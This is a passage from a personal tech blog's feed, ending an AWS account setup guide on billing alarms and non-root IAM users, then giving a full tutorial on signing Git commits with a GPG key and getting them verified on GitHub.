&lt;li&gt;Add an email to receive the alarms.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Click the &lt;strong&gt;Create Topic&lt;/strong&gt; button to create it.&lt;/li&gt;
&lt;li&gt;On the &lt;em&gt;Name and description&lt;/em&gt; window, add an &lt;strong&gt;Alarm name&lt;/strong&gt; and an &lt;strong&gt;Alarm Description&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Click the &lt;strong&gt;Create Alarm&lt;/strong&gt; button to create it.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Now our alarm is created. In the next few minutes, we will receive a confirmation email to the address we entered earlier, that we need to verify, in order to start getting alarms and notifications.&lt;/p&gt;
&lt;h2 id="create-a-non-root-user"&gt;
Create a non-Root user
&lt;a href="#create-a-non-root-user" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;In a Unix system, we have different users with different privileges. We don&amp;rsquo;t use the &lt;code&gt;root&lt;/code&gt; user all the time for anything that we want to do. Similarly, in AWS we can create non-root users with the least privileges to do exactly the needed actions. We will create a non-Root user, that can login to the AWS management console and grand him administrator privileges for simplicity now. Later you can add more granular controls to the users you want to create.&lt;/p&gt;
&lt;p&gt;To add and edit users we need to use the &lt;a href="https://console.aws.amazon.com/iam/home"&gt;Identity and Access Management (IAM) service&lt;/a&gt; again:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;From the &lt;strong&gt;Services&lt;/strong&gt; button in the navbar, navigate to: &lt;strong&gt;Security, Identity &amp;amp; Compliance&lt;/strong&gt; → &lt;strong&gt;IAM Dashboard&lt;/strong&gt; to access the IAM service.&lt;/li&gt;
&lt;li&gt;From the side menu select the &lt;strong&gt;Access management → Users&lt;/strong&gt; section:&lt;/li&gt;
&lt;/ul&gt;
&lt;img src="https://thanoskoutr.com/posts/aws-setup/aws-iam-users.png" alt="aws iam users" class="center" style="border-radius: 8px; box-shadow: 0 12px 40px rgba(0, 0, 0, .15);" /&gt;
&lt;ul&gt;
&lt;li&gt;Click on &lt;strong&gt;Add users&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;Select a User name for the new user.&lt;/li&gt;
&lt;li&gt;Select the access type: &lt;strong&gt;Add Programmatic&lt;/strong&gt; or &lt;strong&gt;Management console access&lt;/strong&gt; (the later for full access)&lt;/li&gt;
&lt;li&gt;Select an Autogenerated password, and Require password reset, so the user on their first sign-in they will need to create a new password.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Click on &lt;strong&gt;Next: Permissions&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;We will create a new group to add the user in:
&lt;ul&gt;
&lt;li&gt;Add the Group name&lt;/li&gt;
&lt;li&gt;And select the &lt;code&gt;AdministratorAccess&lt;/code&gt; policy, that will provide full access to AWS services and resources.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Click on &lt;strong&gt;Next: Tags&lt;/strong&gt; and skip it for now.&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Next: Review&lt;/strong&gt; to review the changes and click the &lt;strong&gt;Create User&lt;/strong&gt; button to finish the process.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Now you can use the new user credentials to login to AWS or use its token for programmatic access. As already said, it is best to create new users with the least amount of privileges for each application you want to deploy in production in order to minimize the security implications.&lt;/p&gt;
&lt;h2 id="next-steps"&gt;
Next Steps
&lt;a href="#next-steps" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Next, I will try to document how to configure the &lt;code&gt;aws&lt;/code&gt; CLI, how to spin up an EC2 instance and how to create a basic Virtual Private Cloud (VPC). You can also follow the &lt;a href="https://aws.amazon.com/getting-started/"&gt;Getting Started page&lt;/a&gt; for how to launch an application (containerized or not) in AWS.&lt;/p&gt;
&lt;h2 id="links"&gt;
Links
&lt;a href="#links" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://aws.amazon.com/"&gt;AWS Home&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://console.aws.amazon.com/console/home"&gt;AWS Management Console&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://console.aws.amazon.com/iam/home"&gt;AWS Identity and Access Management (IAM)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://console.aws.amazon.com/cloudwatch/home"&gt;AWS CloudWatch&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.aws.amazon.com/index.html"&gt;AWS Docs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.aws.amazon.com/IAM/latest/UserGuide/getting-started_create-admin-group.html"&gt;AWS Docs - Creating your first IAM admin user and user group&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/monitor_estimated_charges_with_cloudwatch.html"&gt;AWS Docs - Create a billing alarm to monitor your estimated AWS charges&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://aws.amazon.com/getting-started/"&gt;AWS - Getting Started&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://aws.amazon.com/freel"&gt;AWS - Free Tier Products&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Signing Git Commits</title><link>https://thanoskoutr.com/posts/signing-git-commits/</link><pubDate>Sun, 26 Jun 2022 16:02:00 +0200</pubDate><guid>https://thanoskoutr.com/posts/signing-git-commits/</guid><description>
&lt;img src="https://thanoskoutr.com/covers/git-gpg.png"/&gt;
&lt;h2 id="introduction"&gt;
Introduction
&lt;a href="#introduction" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;This is a guide to help you sign your Git commits in an open source project, in order to verify that the owner of the submitted code is you and only you.&lt;/p&gt;
&lt;p&gt;Git enables us to use whatever email and username we want when doing a git commit. This can be easily used for malicious purposes, as anyone can pretend to be another person when commiting a piece of code. So, if we use signed commits we are showing that we are who we say we are, and if we are using GitHub we will see a green Verified tag in every signed commit we push.&lt;/p&gt;
&lt;img src="https://thanoskoutr.com/posts/signing-git-commits/github-verified-commit.png" alt="github verified commit image" class="center" style="border-radius: 8px; box-shadow: 0 12px 40px rgba(0, 0, 0, .15);" /&gt;
&lt;p&gt;In order to sign our commits we will need a GPG keypair, a public and a private key. If you do not know what GPG keys are or have never created one, check the previous guide on &lt;a href="https://thanoskoutr.com/posts/gpg-keys-configure/"&gt;GPG Keys - Create &amp;amp; Use&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;This guide is focused on Unix development environments, although the same probably can be applied to Windows using Git Bash or WSL.&lt;/p&gt;
&lt;h2 id="download-gnupg"&gt;
Download GnuPG
&lt;a href="#download-gnupg" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;If you are using Linux &lt;code&gt;gpg&lt;/code&gt; will probably be already installed in your system by your distribution. If not you can use your distribution package manager to install it, but if you find a very old version being installed, you can download the binary version from the &lt;a href="https://www.gnupg.org/download/"&gt;GnuPG Download page&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;For Macs and Windows, find from the &lt;a href="https://www.gnupg.org/download/"&gt;GnuPG Download page&lt;/a&gt; the correct installer to use for your system.&lt;/p&gt;
&lt;h2 id="check-for-existing-gpg-keys"&gt;
Check for existing GPG keys
&lt;a href="#check-for-existing-gpg-keys" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Firstly, you need to check if you already have a GPG key in your system. We will use the &lt;code&gt;gpg&lt;/code&gt; utility to list all the GPG keys, which we have both the public and the private key:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ gpg --list-secret-keys --keyid-format&lt;span style="color:#f92672"&gt;=&lt;/span&gt;long
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sec rsa4096/7060F337C18A9C04 2021-07-23 &lt;span style="color:#f92672"&gt;[&lt;/span&gt;SC&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#f92672"&gt;[&lt;/span&gt;expires: 2027-06-25&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; E8F3CFCFF789F7FD9D9AC70A7060F337C18A9C04
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;uid &lt;span style="color:#f92672"&gt;[&lt;/span&gt; unknown&lt;span style="color:#f92672"&gt;]&lt;/span&gt; Thanos Koutroubas
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssb rsa4096/D7086CC22A41A089 2021-07-23 &lt;span style="color:#f92672"&gt;[&lt;/span&gt;E&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#f92672"&gt;[&lt;/span&gt;expires: 2027-06-25&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If the above command does not display any GPG keypair, you need to &lt;a href="https://thanoskoutr.com/posts/signing-git-commits/#generate-gpg-key"&gt;generate a new GPG key&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If you already have an existing GPG key you want to use, you can display the public key based on key id (or email):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ gpg --armor --export 7060F337C18A9C04
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-----BEGIN PGP PUBLIC KEY BLOCK-----
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mQGNBGDoWlkBDACxMbElCDV81+TfjZ9IOh9eGDCmuTvfREdfqvVo71zEvNXnMv7K
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# ...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="generate-a-gpg-key"&gt;
Generate a GPG key
&lt;a href="#generate-a-gpg-key" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Follow the previous guide for &lt;a href="https://thanoskoutr.com/posts/gpg-keys-configure/#generating-gpg-keys"&gt;GPG Keys - Create &amp;amp; Use: Generating GPG Keys&lt;/a&gt;, in order to see how to generate a GPG keypair.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Note: When creating the GPG key, use the email address you also use on GitHub, in order for GitHub to automatically associate your account with the key, when you upload it. It will just save further headache down the road.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;You can also use the GitHub guide for &lt;a href="https://docs.github.com/en/authentication/managing-commit-signature-verification/generating-a-new-gpg-key"&gt;Generating a new GPG key&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="add-the-gpg-key-to-git"&gt;
Add the GPG key to Git
&lt;a href="#add-the-gpg-key-to-git" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Now that we have a GPG key we can add it to Git.
We need to find the key id of our key. To do that run the following command:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ gpg --list-secret-keys --keyid-format&lt;span style="color:#f92672"&gt;=&lt;/span&gt;long
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sec rsa4096/7060F337C18A9C04 2021-07-23 &lt;span style="color:#f92672"&gt;[&lt;/span&gt;SC&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#f92672"&gt;[&lt;/span&gt;expires: 2027-06-25&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; E8F3CFCFF789F7FD9D9AC70A7060F337C18A9C04
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;uid &lt;span style="color:#f92672"&gt;[&lt;/span&gt; unknown&lt;span style="color:#f92672"&gt;]&lt;/span&gt; Thanos Koutroubas
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssb rsa4096/D7086CC22A41A089 2021-07-23 &lt;span style="color:#f92672"&gt;[&lt;/span&gt;E&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#f92672"&gt;[&lt;/span&gt;expires: 2027-06-25&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now we can update Git globally to use our GPG key for signing:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ git config --global user.signingkey 7060F337C18A9C04
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;To sign all commits by default in any local Git repository on your computer:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ git config --global commit.gpgsign true
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can verify these Git configurations by viewing the &lt;code&gt;~/.gitconfig&lt;/code&gt; configuration file:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ cat ~/.gitconfig
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;user&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# ...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; signingkey &lt;span style="color:#f92672"&gt;=&lt;/span&gt; 7060F337C18A9C04
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;commit&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; gpgsign &lt;span style="color:#f92672"&gt;=&lt;/span&gt; true
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="add-the-gpg-key-to-github"&gt;
Add the GPG key to GitHub
&lt;a href="#add-the-gpg-key-to-github" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;In order for GitHub to be able to verify our signed commits, we need to upload our GPG public key to it.&lt;/p&gt;
&lt;p&gt;To do that we first need to export our GPG public key and copy it in our clipboard:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ gpg --armor --export 7060F337C18A9C04
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-----BEGIN PGP PUBLIC KEY BLOCK-----
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mQGNBGDoWlkBDACxMbElCDV81+TfjZ9IOh9eGDCmuTvfREdfqvVo71zEvNXnMv7K
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# ...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now, to add our GPG public key to GitHub, navigate to &lt;a href="https://github.com"&gt;github.com&lt;/a&gt;, and press your profile icon. From the menu shown:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Select &lt;strong&gt;Settings&lt;/strong&gt;:&lt;/li&gt;
&lt;/ul&gt;
&lt;img src="https://thanoskoutr.com/posts/signing-git-commits/github-profile-icon.png" alt="github profile icon" class="center" style="border-radius: 8px; box-shadow: 0 12px 40px rgba(0, 0, 0, .15);" /&gt;
&lt;ul&gt;
&lt;li&gt;From the &lt;strong&gt;Access&lt;/strong&gt; submenu on the left, select the &lt;strong&gt;SSH and GPG keys&lt;/strong&gt; section:&lt;/li&gt;
&lt;/ul&gt;
&lt;img src="https://thanoskoutr.com/posts/signing-git-commits/github-ssh-gpg-keys.png" alt="github ssh and gpg keys" class="center" style="border-radius: 8px; box-shadow: 0 12px 40px rgba(0, 0, 0, .15);" /&gt;
&lt;ul&gt;
&lt;li&gt;Click the &lt;strong&gt;New GPG key&lt;/strong&gt; button:&lt;/li&gt;
&lt;/ul&gt;
&lt;img src="https://thanoskoutr.com/posts/signing-git-commits/github-new-gpg-key.png" alt="github new gpg key" class="center" style="border-radius: 8px; box-shadow: 0 12px 40px rgba(0, 0, 0, .15);" /&gt;
&lt;p&gt;On the &lt;strong&gt;Add new&lt;/strong&gt; page:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Add a descriptive title for your GPG public key&lt;/li&gt;
&lt;li&gt;And paste the contents of your public key you copied earlier&lt;/li&gt;
&lt;li&gt;Click the &lt;strong&gt;Add GPG key&lt;/strong&gt; button&lt;/li&gt;
&lt;/ul&gt;
&lt;img src="https://thanoskoutr.com/posts/signing-git-commits/github-add-gpg-key.png" alt="github add gpg key" class="center" style="border-radius: 8px; box-shadow: 0 12px 40px rgba(0, 0, 0, .15);" /&gt;
&lt;p&gt;Now, if the email associated with the GPG key is the same used in GitHub then you can begin signing commits (and tags) and pushing them to GitHub.&lt;/p&gt;
&lt;p&gt;If you have not associated any email with your GPG key or it is different from the one that you have used with GitHub you need to follow the GitHub guide for &lt;a href="https://docs.github.com/en/authentication/managing-commit-signature-verification/associating-an-email-with-your-gpg-key"&gt;Associating an email with your GPG key&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="sign-git-commits"&gt;
Sign Git Commits
&lt;a href="#sign-git-commits" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="create-a-signed-commit"&gt;
Create a signed commit
&lt;a href="#create-a-signed-commit" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;To test our changes, navigate to a local git repository, make a change and add the changed file:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git add change_file.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;To create a signed commit message, we will use the &lt;code&gt;git commit -m&lt;/code&gt; with the addition of the &lt;code&gt;-S&lt;/code&gt; flag:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ git commit -S -m &lt;span style="color:#e6db74"&gt;&amp;#34;Commit Message&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;A prompt will open to enter our GPG passphrase.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Note: If you have set the &lt;code&gt;commit.gpgsign true&lt;/code&gt; git configuration, you do not need to add the &lt;code&gt;-S&lt;/code&gt; flag in your &lt;code&gt;git commit&lt;/code&gt; command, git will always sign your commits.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="verify-a-signed-commit"&gt;
Verify a signed commit
&lt;a href="#verify-a-signed-commit" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;To check and verify our signed commit, we will use the &lt;code&gt;verify-commit&lt;/code&gt; subcommand and use as an argument the last commit (we can also add a commit hash):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ git verify-commit HEAD
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gpg: Signature made Sun &lt;span style="color:#ae81ff"&gt;26&lt;/span&gt; Jun &lt;span style="color:#ae81ff"&gt;2022&lt;/span&gt; 08:19:31 PM EEST
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gpg: using RSA key E8F3CFCFF789F7FD9D9AC70A7060F337C18A9C04
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gpg: Good signature from &lt;span style="color:#e6db74"&gt;&amp;#34;Thanos Koutroubas&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;[&lt;/span&gt;unknown&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gpg: WARNING: This key is not certified with a trusted signature!
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gpg: There is no indication that the signature belongs to the owner.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Primary key fingerprint: E8F3 CFCF F789 F7FD 9D9A C70A &lt;span style="color:#ae81ff"&gt;7060&lt;/span&gt; F337 C18A 9C04
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="fix-gpg-agent-error"&gt;
Fix GPG agent error
&lt;a href="#fix-gpg-agent-error" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;If you get the following error when trying to sign the commit message:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ git commit -S -m &lt;span style="color:#e6db74"&gt;&amp;#34;Update PGP public key&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;error: gpg failed to sign the data
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;fatal: failed to write commit object
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;it is probably an issue with GnuPG rather with Git.&lt;/p&gt;
&lt;p&gt;Probably the most common error is that the gpg agent that git uses to sign the commit, cannot find the correct &lt;code&gt;tty&lt;/code&gt; to use.&lt;/p&gt;
&lt;p&gt;In order for the gpg agent to know the correct &lt;code&gt;tty&lt;/code&gt; used at any given moment, we must set the following environmental variable, before commiting our changes:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ export GPG_TTY&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;tty&lt;span style="color:#66d9ef"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;To permanently fix this issue, we can add this line to our shell invocation script (&lt;code&gt;~/.bashrc&lt;/code&gt; for bash or &lt;code&gt;~/.zshrc&lt;/code&gt; for zsh, etc):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;export GPG_TTY&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;tty&lt;span style="color:#66d9ef"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Reload your settings in your current terminal with:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;source ~/.zshrc
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="push-signed-commits-to-github"&gt;
Push signed commits to GitHub
&lt;a href="#push-signed-commits-to-github" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;After creating our signed commit, we can push our changes to GitHub to view if the commit will show up as verified:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git push
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Navigate to your remote repository on GitHub and on the &lt;strong&gt;commits&lt;/strong&gt; page, you will see the green &lt;strong&gt;Verified&lt;/strong&gt; tag on the left of your commit message.&lt;/p&gt;
&lt;img src="https://thanoskoutr.com/posts/signing-git-commits/github-verified-commit.png" alt="github verified commit image" class="center" style="border-radius: 8px; box-shadow: 0 12px 40px rgba(0, 0, 0, .15);" /&gt;
&lt;p&gt;This means that GitHub sees correctly our signed commits.&lt;/p&gt;
&lt;h2 id="links"&gt;
Links
&lt;a href="#links" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://docs.github.com/en/authentication/managing-commit-signature-verification/checking-for-existing-gpg-keys"&gt;GitHub Docs - Checking for existing GPG keys&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.github.com/en/authentication/managing-commit-signature-verification/telling-git-about-your-signing-key"&gt;GitHub Docs - Telling Git about your signing key&lt;/a&gt;&lt;/li&gt;
